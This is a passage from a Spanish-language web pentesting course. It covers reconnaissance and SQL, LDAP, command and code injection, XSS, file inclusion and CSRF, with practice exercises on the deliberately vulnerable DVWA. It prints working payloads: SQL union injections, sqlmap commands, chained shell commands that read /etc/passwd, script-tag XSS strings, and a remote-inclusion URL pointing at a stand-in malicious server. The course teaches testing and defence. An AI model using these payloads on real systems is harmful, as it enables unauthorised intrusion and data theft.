información como nombres de empleados de la organización, sistemas operativos, software y versiones
que tiene la organización instalados en sus equipos.

Para obtener los metadatos de un archivo existen diferentes herramientas, una selección de ellas son:

Exiftool

Análisis de metadatos de archivos en local. Se ejecuta a través de la línea de comandos de Linux,

en Windows y también está disponible interfaz gráfica.

Imagen 4.9. Exiftool.

Fuente: captura de la herramienta Exiftool.

137/265
FOCA

Quizás la herramienta más conocida para la extracción y el análisis de metadatos.

Imagen 4.10. FOCA.

Fuente: captura de la interfaz de la herramienta FOCA.

138/265
 Metagoofil

Herramienta a través de la línea de comandos, disponible en KALI.

Imagen 4.11. Metagoofil.

Fuente: captura de la herramienta Metagoofil en Linux.

3.1.7 Cabeceras

Revisar las cabeceras HTTP que se intercambian entre las peticiones y respuestas. Estas cabeceras son
enviadas de manera automática por el navegador o el servidor web. Pueden proporcionarnos información
interna como productos y versiones utilizadas.

Imagen 4.12. Cabeceras HTTP.

Fuente: captura de cabeceras de respuestas.

3.1.8 Puertos abiertos

Para conocer el estado del servidor que contiene la aplicación web, qué puertos tiene abiertos, que
servicios están presentes, etc. La aplicación utilizada para este fin será nmap y tendremos que ejecutarla
sobre la IP de la aplicación web (si no la conocemos podemos obtenerla realizando un ping sobre el
dominio).

139/265
 Los detalles del uso de esta herramienta se han visto en el Módulo I, dentro de la sección Escaneo, en
el apartado de numeración de servicios y versión.

Imagen 4.13. Puertos abiertos - nmap.

Fuente: captura de la herramienta nmap en Linux.

3.1.9 Robots.txt

Es un archivo que se encuentra en la raíz de las aplicaciones web (no siempre está presente). Se usa
para indicar qué partes de la aplicación no deben ser indexadas por los motores de búsqueda. El objetivo
es no sobrecargar el servidor rastreando páginas sin importancia. Tradicionalmente, se ha usado para
ocultar páginas web de los resultados de Google, pero esto no es recomendable ya que pueden existir
otras páginas que redirijan a las páginas y por lo tanto no será efectivo. A día de hoy, todavía hay
aplicaciones web que lo usan de este modo, por lo que nos estará proporcionando URL que los
responsables de la aplicación quieren ocultar, como por ejemplo un panel de administración.

Imagen 4.14. Archivo robots.txt.

Fuente: captura del archivo robots.txt en dvwa.

3.2. Búsqueda de vulnerabilidades

Si la fase de recolección de información se ha hecho de manera correcta, se tendrá una buena cantidad
de datos de los que partir. Una revisión que se debe hacer es comprobar, en caso de tener componentes,
sus nombres y sus respectivas versiones; se debe buscar la existencia de vulnerabilidades conocidas que,
en caso de existir, ya supondrían vulnerabilidades de la aplicación.

Existen diferentes bases de datos de vulnerabilidades en las que podremos realizar esta búsqueda de
información:

3.2.1 CVE Details

Interfaz web que permite realizar búsquedas de vulnerabilidades a través de proveedores, productos y
versiones. Muestra la información de manera sencilla y contiene toda la información incluida en los
CVE.

140/265
Imagen 4.15. Vulnerabilidades CVE Details.
Fuente: https://www.cvedetails.com/.

3.2.2 NIST Database

Base de datos de vulnerabilidades del NIST (Instituto Nacional de Normas y Tecnología). Otro
recurso para buscar vulnerabilidades de productos y ver el detalle de las mismas.

Imagen 4.16. Vulnerabilidades NIST.

Fuente: https://www.nist.gov/.

3.3. Ataques de inyección

Como hemos visto en el top ten de OWASP, las vulnerabilidades de inyección se encuentran en el
puesto número uno de las más comunes en aplicaciones web. Tienen lugar cuando la aplicación acepta
datos no confiables del usuario y los envía al servidor donde son interpretados como parte de un
comando o consulta.

141/265
 Dentro de los ataques de inyección, existen varios tipos que se van a desarrollar a lo largo de este
apartado:

SQL injection

LDAP injection

Code injection

Command injection

3.3.1 SQL injection

La vulnerabilidad de SQL injection es la más conocida de todas las inyecciones en aplicaciones web.
Se centra en atacar la base de datos de la aplicación a través de peticiones en las que se inserta código
SQL con el objetivo de que se ejecute en la base de datos.

Es importante tener en cuenta que, aunque la vulnerabilidad involucre a la base de datos, esta se
encuentra en la aplicación web.

Las consecuencias de que una aplicación vulnerable a SQLi pueda verse atacada por un
usuario malicioso son, entre otras:

Acceso no autorizado a la aplicación.

Suplantación de identidad.
Obtención de información interna de la base de datos.
Compromiso de la integridad de los datos a través de la modificación de los datos internos
de la aplicación:

Modificación de los contenidos de la base de datos.

Eliminación de datos de la aplicación.

Ejecución de código remoto.

A continuación, se puede observar un esquema que explica SQLi de manera sencilla para facilitar su
comprensión:

142/265
Imagen 4.17. SQL injection.
Fuente: elaboración propia CyberAcademy.

Tenemos una aplicación web con un formulario de login para permitir acceso únicamente a
los usuarios autorizados. Esta aplicación no valida los datos de entrada y es vulnerable a SQLi,
por lo que un usuario malicioso podrá obtener acceso a la aplicación sin ni siquiera conocer la
contraseña de un usuario legítimo.

Imagen 4.18. Formulario de login.

Fuente: elaboración propia CyberAcademy.

Consulta SQL original: SELECT * FROM users WHERE user = ‘admin’ AND password =
’password ';

Código inyectado por el usuario malicioso: ‘OR ‘1’=‘1’

Consulta SQL final:

SELECT * FROM users WHERE user = ‘admin’ AND password = ’password ‘OR ‘1’=‘1’';

Resultado: el usuario malicioso obtiene acceso a la aplicación web de manera no legítima.

Una vez explicado el concepto general se van a explicar los distintos tipos de SQLi que existen:

3.3.1.1 SQL injection basado en errores

Este tipo de SQLi es el típico, se basa en que la base de datos muestra algún error a través de la
aplicación web.

Existen varias formas de provocar errores a nivel de base de datos que nos indiquen que la aplicación
es vulnerable:

143/265
 Insertar un comentario fin de línea ‘#’ para anular el código legítimo tras la inyección.
Realizar consultas malformadas, que puedan provocar un fallo en la aplicación.
Tautología, que consiste en inyectar declaraciones que son siempre verdaderas, forzando a que
se ejecute sí o sí.
Uso de cadenas SQL que formen consultas sobre la base de datos. Para ello se pueden utilizar
las distinta funciones SQL:

SELECT: obtener información.

INSERT: añadir datos a las tablas de la base de datos.
UPDATE: modificar información de la base de datos.
DELETE: borrar información de la base de datos.
UNION: añadir nueva consulta a la consulta original.

La suma de estas técnicas son las que nos van a ayudar a detectar y llevar a cabo los ataques de SQLi.

En caso de que la aplicación devuelva algún error a nivel de base de datos significará que es
vulnerable a este tipo de ataques.

Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “SQL injection”, donde se
nos redirige a una web con un formulario en el que insertando un número nos devuelve el usuario al
que pertenece el ID.

Se prueba a introducir una comilla simple en el formulario para ver el comportamiento de la

aplicación.

Inyección: ‘

Imagen 4.19. SQL injection en DVWA.

Fuente: captura de la herramienta DVWA.

La aplicación devuelve un error de base de datos, lo que ya nos demuestra que es vulnerable a este
tipo de vulnerabilidad.

A través de prueba-error, podemos construir consultas SQL forzando a que la aplicación las ejecute
y nos muestre información de interés.

Por ejemplo, una consulta que nos muestre el nombre de la base de datos.

Inyección: ' or 0=0 union select null, database() #

144/265
 Imagen 4.20. SQL injection en DVWA.
Fuente: captura de la herramienta DVWA.

Además de listar todos los usuarios de la base de datos, al final del todo muestra el nombre de la
base de datos que en esta ocasión es “dvwa”.

Anotación: Ejercicio propuesto (opcional)

Obtener las tablas de la base de datos, ¿hay alguna que llame la atención?

Obtener la lista de usuarios y sus respectivas contraseñas.

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

NOTA: la explotación de esta vulnerabilidad se puede realizar a mano o de manera

automática, teniendo en cuenta que el grado de dificultad de este ejemplo es bajo, se
recomienda hacerlo a mano para familiarizarse con la vulnerabilidad.

3.3.1.2 Blind SQL

Este tipo de SQLi es más complicado de detectar. Las principales características que lo diferencian del
SQLi tradicional son:

145/265
 No muestra mensajes de error al usuario cuando la consulta no se ejecuta de manera incorrecta.
Solo hay respuesta si la consulta se ejecuta de manera correcta, mientras que, si no es así,
muestra una página genérica a los usuarios.
El tiempo necesario para explotar esta vulnerabilidad puede ser muy elevado, ya que puede
llevar a cabo una búsqueda carácter a carácter para obtener la información que se quiere
obtener.

Una manera de ir obteniendo el resultado esperado cuando se está explotando esta vulnerabilidad es
construir la respuesta de manera acumulativa a través de una lógica booleana, por ejemplo:

Construimos dos peticiones sobre la aplicación vulnerable que devuelven respuestas

booleanas TRUE/FALSE.

http://aplicaciónvulnerable.com/var=1 & 1=1 -> TRUE

Cuando se ejecuta la petición de manera correcta, se carga la página de manera normal.

http://aplicaciónvulnerable.com/var=1 & 1=0 -> FALSE

Cuando se ejecuta la petición de manera incorrecta, la página devuelta varía, aparece vacía,
contenido alterado.

Resultado: si esto ocurre, significará que la aplicación web es vulnerable.

Existen dos tipos de Blind SQL:

Basados en el contenido: lo explicado en el ejemplo, dependiendo del contenido mostrado en

la aplicación, se podrá averiguar si la aplicación es vulnerable o no.
Basados en el tiempo: se detectará la existencia de la vulnerabilidad teniendo en cuenta los
tiempos de respuesta de la aplicación:

Si tarda en procesar la petición 3 segundos significa que es correcta.

Si tarda en procesar la petición 15 segundos significa que es incorrecta.

Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “SQL injection (Blind)”

Se prueba a introducir una comilla simple en el formulario para ver el comportamiento de la

aplicación.

Inyección: ‘

146/265
Imagen 4.21. SQL injection (Blind) en DVWA.
Fuente: captura de la herramienta DVWA.

En esta ocasión, no nos devuelve un error a nivel de base de datos sino un mensaje indicando que el
ID de usuario no existe en la base de datos.

La detección de este tipo de vulnerabilidad no es trivial, por lo que vamos a utilizar una herramienta
automática para este cometido, SQLmap. Esta herramienta está disponible por defecto en KALI.

Es una herramienta que se ejecuta desde la línea de comandos y tiene muchas opciones para
personalizar su ejecución. Podemos ver todas las posibilidades con:

sqlmap -h

Vamos a indicar la URL sobre la que queremos que lleve a cabo las pruebas:

Sqlmap -u http://localhost/dvwa/vulnerabilities/sqli_blind/?id=%27&Submit=Submit#

Afinando un poco más, le proporcionamos los parámetros de la cookie y vemos los resultados:

sqlmap -u "http://10.211.55.3/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie "security=low; PHPSESSID=15a2itgc8hk5j9pondgvh8fh47" –dbs

Imagen 4.22. Detección de SQL injection (Blind) en SQLmap.

Fuente: captura de la herramienta SQLmap en Linux.

Nos indica que el parámetro id es vulnerable a dos tipos de SQLi Blind: booleano y basado en
tiempo. Podemos seguir obteniendo información de la base de datos.

147/265
 Anotación: Ejercicio propuesto (opcional)

Añadir a la inyección vista los siguientes parámetros:

-D y --tables

-T y –column

-C y --dump

¿Qué obtenemos?

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.3.1.3 Detección

Posibles maneras de detectar la existencia de una vulnerabilidad de SQLi.

Inyección de comilla simple y comilla doble.

Caracteres propios de consultas/inyecciones SQL:

Imagen 4.23. Caracteres SQL.

Fuente: elaboración propia CyberAcademy.

Automatización de peticiones con payloads que contengan cadenas de caracteres propias de

XSS (se puede realizar con el intruder de Burp, una de las herramientas integradas en Burp
Suite de la que se hablará más adelante).
Probar distintas codificaciones: la aplicación puede ser capaz de evadir algunos caracteres,
pero no otros, por lo que habrá que probar el mayor número de posibilidades posible.

148/265
3.3.2 LDAP injection

Son inyecciones sobre aplicaciones que trabajan sobre un LDAP (Protocolo Ligero de Acceso a
Directorios), protocolo para permitir accesos a un servicio de directorio ordenado y distribuido para
buscar información en un entorno de red.

El uso de LDAP está muy extendido en organizaciones con sistemas Windows y Linux, por lo que es
común que las aplicaciones internas aprovechen este servicio para autenticar a los usuarios en las
aplicaciones.

Estas inyecciones buscan inyectar caracteres de búsqueda LDAP en una consulta para que sea
ejecutada por la aplicación. Las posibles consecuencias de una ejecución LDAP satisfactoria pueden ser:

Consultar información sin autorización.

Acceso a contenido sin autorización.
Saltarse restricciones de la aplicación.
Añadir o modificar objetos de la estructura del árbol LDAP.

Este tipo de ataques permite distintos tipos de inyecciones:

Query simple

Valor introducido en la inyección coincida con el atributo clave.

Ejemplo:

(username=peter)

Query disyuntiva

Utilizada para buscar información en el árbol LDAP. Permite múltiples valores.

Ejemplo:

Query normal:(username=peter)(ciudad=Madrid)

Query modificada: )(ciudad=*)

149/265
 Query conjuntiva

Consulta que permite múltiples condiciones, pero todas deben ser aceptadas para su correcta
ejecución.

Ejemplo:

(username=peter)(ciudad=Madrid*)

3.3.2.1 Detección

Posibles maneras de detectar la existencia de una vulnerabilidad de tipo LDAP injection:

Caracteres propios de consultas/inyecciones LDAP:

Imagen 4.24. Caracteres LDAP injection.

Fuente: elaboración propia CyberAcademy.

Provocar errores LDAP, que se presentarán en modo de errores informativos y servirá para
averiguar si la aplicación emplea de un LDAP o una base de datos de otro tipo como SQL. Para ello
hay varias opciones:

Introducir el carácter *: si devuelve datos significa que existe un LDAP, ya que SQLi no
devolvería datos.
Los errores generados por LDAP suelen dar un error 500.
Introducir número de paréntesis elevados como )))))))). En caso de que se produzca error, es
posible que la aplicación sea vulnerable a LDAP injection.

3.3.3 Code injection

150/265
 Este tipo de inyección [16] consiste en introducir código que es interpretado y ejecutado por la
aplicación.

Una vez que se averigua el lenguaje de programación de la aplicación web (PHP, ASP, etc.), se tratará
de intentar inyectar código en este lenguaje para comprobar si es ejecutado por la aplicación. Esto
sucederá si la aplicación no valida correctamente los campos de entrada de datos.

Este tipo de ataque está limitado a la funcionalidad que permita el propio lenguaje de programación.
Por ejemplo, si es posible inyectar código PHP, estará limitado por lo que PHP es capaz de hacer.

Esta es la principal diferencia entre code injection y command injection, que se tratará a continuación.
En code injection la limitación la pone el lenguaje de programación que se pueda ejecutar, mientras que
e n command injection se aprovecha el código existente para ejecutar comandos, normalmente en el
contexto de una shell.

Una correcta explotación de esta vulnerabilidad puede permitir al atacante ampliar la funcionalidad
por defecto de la aplicación web. Cabe destacar que son algo complicadas de explotar y el impacto que
tendrá en la aplicación puede ser pérdida de confidencialidad, de integridad, de disponibilidad o
responsabilidad.

Tenemos una aplicación web PHP con la siguiente URL:

http://example.com/?page=ejemplo1.php;

El atacante crea un archivo PHP y lo aloja en un servidor propio. Y carga el contenido de su

archivo de la siguiente manera:

http://example.com/?page=http://servidormalicioso.com/exploit.php;

Si al enviar la petición la aplicación web ejecuta el código del archivo malicioso, será
vulnerable.

3.3.3.1 Detección

Posibles maneras de detectar la existencia de una vulnerabilidad de tipo c ode injection.

Probar inyección de código fuente en las entradas de datos de la aplicación objetivo.

3.3.4 Command injection

Como su propio nombre indica, consiste en la ejecución de comandos de sistema operativo a través de
la aplicación web. Los comandos serán ejecutados en el servidor de aplicaciones.

Se trata de intentar ejecutar los comandos sobre una shell y, en caso de tener éxito, los comandos
serán ejecutados con los privilegios que tenga asociada la aplicación web vulnerable.

Práctica

151/265
 Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello accedemos a la categoría “Command Injection”.

La página web solicita una IP y, al introducir una y hacer clic en “Submit”, ejecuta un ping sobre la
IP proporcionada.

Imagen 4.25. Command injection en DVWA.

Fuente: captura de la herramienta DVWA.

La propia página ya está ejecutando un comando como es ping, por lo que se va a probar si se
puede enlazar la ejecución de comandos. Para ello, podemos utilizar:

&
&&
|

Inyección: 127.0.0.1 & ls

Imagen 4.26. Command injection en DVWA.

Fuente: captura de la herramienta DVWA.

Inyección: 127.0.0.1 | ifconfig

152/265
 Imagen 4.27. Command injection en DVWA.
Fuente: captura de la herramienta DVWA.

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.3.4.1 Detección

Posibles maneras de detectar la existencia de una vulnerabilidad de Command Injection.

Probar los comandos básicos de sistemas operativos en las entradas de datos de la aplicación
objetivo:

Dir
/bin/ls
cat /etc/passwd

Probar distintas codificaciones: la aplicación puede ser capaz de evadir algunos caracteres,
pero no otros, por lo que habrá que probar el mayor número de posibilidades posible.

3.3.5 Otros ataques de inyección

Además de los ataques explicados en esta sección, existen otros tipos de ataques de inyección como:

XPath injection

153/265
 XML injection
HTML injection
CSS injection

Como se puede observar, el propio nombre nos indica el tipo de inyección que se produce. Según lo
visto, en todas las vulnerabilidades de inyección, todas tienen algo en común, se producen sobre los
datos de entrada de la aplicación y una solución común a todas ellas es la correcta validación de datos.
Si se consigue implementar una validación de datos correcta, la aplicación estará protegida ante todos
estos tipos de ataques, lo que implica que el nivel de seguridad de la misma aumentará.

3.4. Cross Site Scripting (XSS)

Esta vulnerabilidad se encuentra en el puesto 7 del top ten de OWASP 2017, ha bajado de la posición
3 en la que se encontraba en la versión anterior de 2013. Lleva presente en las aplicaciones web desde el
principio y aún es común a día de hoy, lo que refleja que aún no hay suficiente concienciación sobre
seguridad entre los desarrolladores.

Puede producirse de dos maneras diferentes:

Cuando el navegador toma datos no confiables sin validar o codificar de la manera adecuada y los
envía al navegador del usuario.

Un usuario envía datos a la aplicación (JavaScript) y estos son ejecutados por el navegador.

Antes de entrar hay que ver en detalle la vulnerabilidad. A través de un ejemplo sencillo se va a
explicar cómo funciona:

154/265
 Tenemos una aplicación web con un buscador en el que el usuario puede introducir la cadena
de caracteres que desee. Posteriormente, la aplicación realizará una búsqueda en todos los
contenidos de la aplicación, para buscar coincidencias y mostrárselas al usuario.

Un usuario malintencionado inyecta en el buscador una cadena de caracteres que contiene

código JavaScript y, al enviar la petición, debido a que la aplicación no valida los datos
recibidos por el usuario, los ejecuta en el navegador.

Código inyectado por el usuario: <script>alert(‘Vulnerable XSS`)</script>

Respuesta mostrada en el navegador:

Imagen 4.28. Respuesta a XSS en navegador.

Fuente: captura de ejemplo en Internet Explorer.

Resultado: se ha enviado el código JavaScript al navegador y este ha sido ejecutado

provocando que aparezca una ventana como la que se muestra en la imagen.

¿Cuándo se encuentra esta vulnerabilidad? Esta vulnerabilidad se encuentra en aquellas aplicaciones

que reciben entradas de datos directamente de los usuarios y no realizan una correcta validación ellos.
Para llevar a cabo esta validación, la aplicación solo debería aceptar datos “que está esperando” y
rechazar todo aquello que sea diferente o bien codificarlo de manera que se evite que los datos
introducidos por el usuario, en caso de ser código ejecutable, sean almacenados y procesados como texto
plano, evitando así que puedan ser ejecutados.

El objetivo del usuario malicioso será ejecutar el código en las máquinas de las víctimas (por
ejemplo, descargar software malicioso que abra un backdoor en la máquina de la víctima donde
se pueda conectar el atacante o enviar la cookie de sesión al usuario malintencionado), para lo
que se tendrá que recurrir a técnicas de ingeniería social, como enviar a la víctima un enlace que
ejecute la petición http con el código malicioso en ella, por ejemplo, a través del correo
electrónico.

A continuación, vamos a ver una representación gráfica que facilitará la comprensión de esta
vulnerabilidad:

155/265
Imagen 4.29. Esquema XSS.
Fuente: elaboración propia CyberAcademy.

Existen tres tipos de ataques de XSS diferentes:

3.4.1 XSS reflejado

XSS reflejado, también conocido como XSS Indirecto. Es el tipo de XSS más habitual y fácil de
encontrar, consiste en el envío a través de una petición web de código malicioso para su ejecución en el
navegador de la víctima.

Como auditores nos bastará con comprobar si al enviar una petición maliciosa el navegador la ejecuta
(ver ejemplo anterior).

Una vez que se conoce cómo funciona, se van a exponer algunas posibles consecuencias o riesgos
asociados a la existencia de esta vulnerabilidad en una aplicación web:

Robo de sesiones: en una aplicación con usuarios autenticados, la ejecución de código

JavaScript puede provocar el robo de cookies de sesión de la víctima que, si además se suma a
que la aplicación no gestiona correctamente las sesiones, se traduce en una suplantación de
identidad, cuyo riesgo irá asociado a la funcionalidad de la aplicación.
Obtener información de la víctima: como puede ser el historial de navegación.
Phishing, suplantación de identidad de otro sitio web, por ejemplo, con el objetivo de obtener
el usuario y la contraseña de la víctima.
Cambiar el contenido de la web infectada, conocido como defacement.
Instalar software malicioso en la máquina víctima. Por ejemplo, un programa que ejecute una
puerta trasera (backdoor) que permita al atacante obtener acceso remoto al ordenador de la
víctima.

Como se puede apreciar, las posibilidades son amplias y, dependiendo de la aplicación, las
consecuencias tendrán un riesgo mayor.

Práctica

156/265
 Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (Reflected)”.

Se prueba a introducir la inyección típica de XSS.

Inyección: <script>alert(‘XSS’)</script>

Resultado:

Imagen 4.30. Mensaje de respuesta a XSS.

Fuente: captura de la herramienta DVWA.

Con esto vemos que la aplicación es vulnerable a XSS.

Como el nivel de seguridad es bajo, explotar esta vulnerabilidad no tiene mucha dificultad.
Aprovechando este formulario, se va a proceder a detectar y explotar de manera automática con el
intruder de Burp Suite.

Para ello será necesario:

157/265
1

Interceptar la petición http que se genera al hacer clic en “Submit”

Imagen 4.31. Vulnerabilidad XSS.

Fuente: captura de la herramienta DVWA.

Enviar la petición al Intruder (botón derecho -> Sent to Intruder)

Imagen 4.32. Envío de petición al Intruder.

Fuente: captura de la herramienta Burp Suite.

158/265
3

Configurar variable explotable

Imagen 4.33. Configuración de variable explotable.

Fuente: captura de la herramienta Burp Suite.

Configurar Payload: Para ello cargaremos un payload* con cadenas de caracteres preparadas
para explotar este tipo de vulnerabilidad

Imagen 4.34. Configuración de payload.

Fuente: captura de la herramienta Burp Suite.

159/265
5

Ejecutar Intruder: haciendo clic en el botón “ Start attack” que aparece en la pestaña de Payloads,
o desde la barra de menús: Intruder-> Start Attack

Imagen 4.35. Ejecución de Intruder.

Fuente: captura de la herramienta Burp Suite.

Analizar resultados: podemos ver los resultados. Para ver si las inyecciones funcionan o no,
podemos fijarnos en la respuesta, la longitud de la respuesta, el error que devuelve, el estatus, etc.,
y probar a mano las inyecciones para ver el comportamiento de la aplicación.

Imagen 4.36. Análisis de resultados.

Fuente: captura de la herramienta Burp Suite.

160/265
 7

Resultado: por ejemplo, con el payload número 4 obtenemos la explotación de la vulnerabilidad:

Imagen 4.37. Resultado de la explotación de XSS.

Fuente: captura de la herramienta DVWA.

Se recomienda tener archivos con distintos tipos de payloads que faciliten la tarea del
auditor. Un ejemplo de payloads son los proporcionados por fuzzdb (https://github.com/fuz
zdb-project/fuzzdb).

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.4.2 XSS almacenado

XSS almacenado, también llamado XSS directo o persistente. Su funcionamiento es similar al XSS
reflejado, la diferencia se encuentra en que en esta ocasión la inyección de código queda almacenada en
la base de datos de la aplicación y será ejecutada cada vez que un usuario acceda a la página web que
cargue esa información.

El ejemplo más sencillo para entenderlo es un blog con una entrada que permite comentarios de
usuarios. Los comentarios de los usuarios son almacenados en la base de datos de la aplicación y se
cargan de manera automática cada vez que un usuario accede a la entrada. Si la aplicación (el blog en
este caso) es vulnerable a XSS y un usuario malicioso inyecta código a través de un comentario, este
código se ejecutará cada vez que cualquier usuario cargue la página web donde se encuentra el
comentario.

Las consecuencias de esta vulnerabilidad son similares a las ya explicadas, pero hay que tener en
cuenta que las posibles víctimas aumentarían.

Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se

161/265
 Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (Stored)”.

Se prueba a introducir la inyección típica en los dos campos que aparecen en el formulario, nombre
y mensaje.

Inyección: <script>alert(1)</script>

Inyectamos la cadena en ambos campos y el resultado es el siguiente:

La cadena no cabe entera en el campo " Name", cuando se hace clic en “ Sign Guestbook”, aparece
el pop up que indica que existe la vulnerabilidad de XSS.

Imagen 4.38. Explotación de XSS almacenado.

Fuente: captura de la herramienta DVWA.

Al guardarse la inyección en la base de datos, cada vez que un usuario cargue la página se cargará
el comentario y en este caso se ejecutará el payload.

Esta vulnerabilidad se puede explotar también de manera automatizada como se ha explicado en el

apartado anterior.

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.4.3 XSS basado en DOM

DOM (Document Object Model ), son los objetos creados por el propio navegador para parsear la web
y el contenido que muestra el servidor. Estos objetos se identifican a través de etiquetas HTML.

Este tipo de ataque de XSS se diferencia de los anteriores en que no interviene el servidor de las
aplicaciones web, sino a través de Query Strings en funciones u otras variables que permiten la inyección
de código en la aplicación web. Algunos elementos vulnerables a XSS DOM son:

162/265
 document.write
document.location
document.URL
document.referer

En resumen, es una vulnerabilidad que se ejecuta en el lado cliente (navegador). En este caso, las
validaciones que se puedan hacer a nivel de servidor no servirán para evitar que la aplicación sea
vulnerable. Se considera un subtipo del XSS persistente.

Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “XSS (DOM)”

Tenemos un desplegable con distintas opciones, en este caso lenguajes. Además, en la URL
tenemos la variable default y si modificamos el valor de esta variable, por ejemplo, con “DOM”
vemos que la opción aparece en el desplegable:

Imagen 4.39. Explotación de XSS DOM.

Fuente: captura de la herramienta DVWA.

Ahora vamos a ver el contenido de la aplicación web en el desplegable. Para ello, vamos a usar las
opciones de desarrollador del navegador, en concreto, el inspector (en el caso de Firefox), aunque se
pueden usar extensiones de navegador como Firebug u otras opciones.

163/265
 Imagen 4.40. Uso de la herramienta inspector en Firefox.
Fuente: captura de la herramienta inspector en Firefox.

Observamos los objetos document.write. Vamos a construir una inyección personalizada, que se
interprete en el navegador.

Inyección: </option></select><script>alert('DOM')</script>

Imagen 4.41. Construcción de XSS DOM personalizada.

Fuente: captura de la herramienta DVWA.

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.4.4 Detección

Posibles maneras de detectar la existencia de una vulnerabilidad de tipo XSS.

Caracteres propios de inyecciones XSS:

164/265
Imagen 4.42. Caracteres XSS.
Fuente: elaboración propia CyberAcademy.

Automatización de peticiones con payloads que contengan cadenas de caracteres propias de

XSS (se puede realizar con el intruder de Burp).
Probar distintas codificaciones: la aplicación puede ser capaz de evadir algunos caracteres,
pero no otros, por lo que habrá que probar el mayor número de posibilidades posible.

3.5. Local/Remote File Inclusion

Como su propio nombre indica, esta vulnerabilidad consiste en incluir archivos a la propia aplicación.

Una aplicación será vulnerable a este ataque si no realiza una correcta validación de entradas de datos,
que tiene lugar cuando la aplicación no controla los parámetros enviados por el usuario de la manera
correcta, como se ha visto previamente.

Las consecuencias de que una aplicación sea vulnerable a este tipo de ataques son, entre otras:

Ejecución de código en el servidor web.

Denegación de servicio.
Vulnerabilidad Directory Traversal.
Descubrimiento de información sensible.

3.5.1 Local File Inclusion (LFI)

La aplicación interpreta un fichero local del propio servidor. Se produce cuando la propia aplicación
recibe como entrada la ruta de un archivo que se encuentra en el servidor y, al no estar bien configurado,
permite inyectar código o navegar por los directorios y archivos, cosa que no debería.

Ejemplo: cargar el archivo /etc/passwd del servidor de aplicaciones.

Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “File Inclusion ”

165/265
 Se va a tratar de cargar un archivo del propio servidor de aplicaciones. Se sabe que la aplicación
está montada sobre un entorno Linux, por lo que uno de los archivos más interesantes que se puede
obtener será el /etc/passwd

La aplicación muestra tres enlaces a tres archivos .php. Tras visitarlos e inspeccionarlos con el
proxy que tenemos, interceptando las peticiones (Burp), vemos que la posible variable vulnerable es
“page”.

Inyección: /etc/passwd

Imagen 4.43. Inyección /etc/passwd.

Fuente: captura de la herramienta DVWA.

Como podemos observar, ha cargado el contenido del archivo interno en la propia aplicación web,
lo que demuestra que es vulnerable a este tipo de ataques.

Inyección: http://google.es

166/265
 Imagen 4.44. Inyección http://google.es.
Fuente: captura de la herramienta DVWA.

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.5.2 Remote File Inclusion (RFI)

La aplicación interpreta el contenido de un fichero remoto. El funcionamiento es similar a LFI, pero

con archivo alojados en servidores externos.

Ejemplo: archivo externo http://servidormalicioso.com/exploit.php

167/265
 Práctica

Utilizando la aplicación web vulnerable DVWA (nivel de seguridad low), vamos a ver cómo se
podría explotar esta vulnerabilidad. Para ello, accedemos a la categoría de “File Inclusion ”

En esta ocasión, se va a tratar de cargar un archivo externo al servidor de aplicaciones desde la

misma variable “page” que hemos visto en el ejemplo de LFI.

Anotación: Ejercicio propuesto (opcional)

Explotar esta vulnerabilidad con nivel de seguridad “ Medium” y “High”.

3.5.3 Detección

Para detectar este tipo de vulnerabilidades, la aplicación tendrá que tener una funcionalidad que
permita la inclusión de ficheros. Sobre esta funcionalidad es sobre la que el auditor realizará las distintas
pruebas con el objetivo de cargar archivos internos o externos y demostrar que la aplicación es
vulnerable y no está bien configurada:

No existe validación de datos correcta.

Configuración de permisos incorrecta.
Servidor o componentes de la aplicación desactualizados que puedan tener posibles
vulnerabilidades conocidas relacionadas.

3.6. Cross Site Request Forgery (CSRF)

La vulnerabilidad de CSRF, conocida como falsificación de petición en sitios cruzados, consiste en
engañar a un usuario legítimo para que ejecute peticiones o acciones sin su consentimiento (no sabe que
esas peticiones se están realizando desde su usuario).

La manera que tiene un atacante de llevar a cabo este ataque es a través de ingeniería social, en la que
consigue engañar al usuario, por ejemplo, para hacer clic en un enlace que ejecuta la petición maliciosa.

En el siguiente esquema se puede observar una representación gráfica para ayudar a la comprensión de
esta vulnerabilidad:

168/265
Imagen 4.45. CSRF.
Fuente: elaboración propia CyberAcademy.

Los riesgos asociados a esta vulnerabilidad tienen bastante criticidad ya que se podrían llevar a cabo
acciones que pongan en peligro la confidencialidad, integridad y disponibilidad de los datos de la
aplicación camuflando estas acciones detrás de peticiones realizadas por usuarios legítimos, pero sin el
consentimiento de los mismos.

3.6.1 Detección

La detección de esta vulnerabilidad no es algo trivial y, en ocasiones, puede parecer complicado

demostrar la existencia de la vulnerabilidad. Existen distintos métodos para detectarlo:

Revisión de cabeceras de la aplicación

Buscando la presencia de un token conocido como "token-anticsrf", que suele ser la medida de
protección que implementan las aplicaciones web para protegerse de este tipo de ataques.

Herramientas automáticas

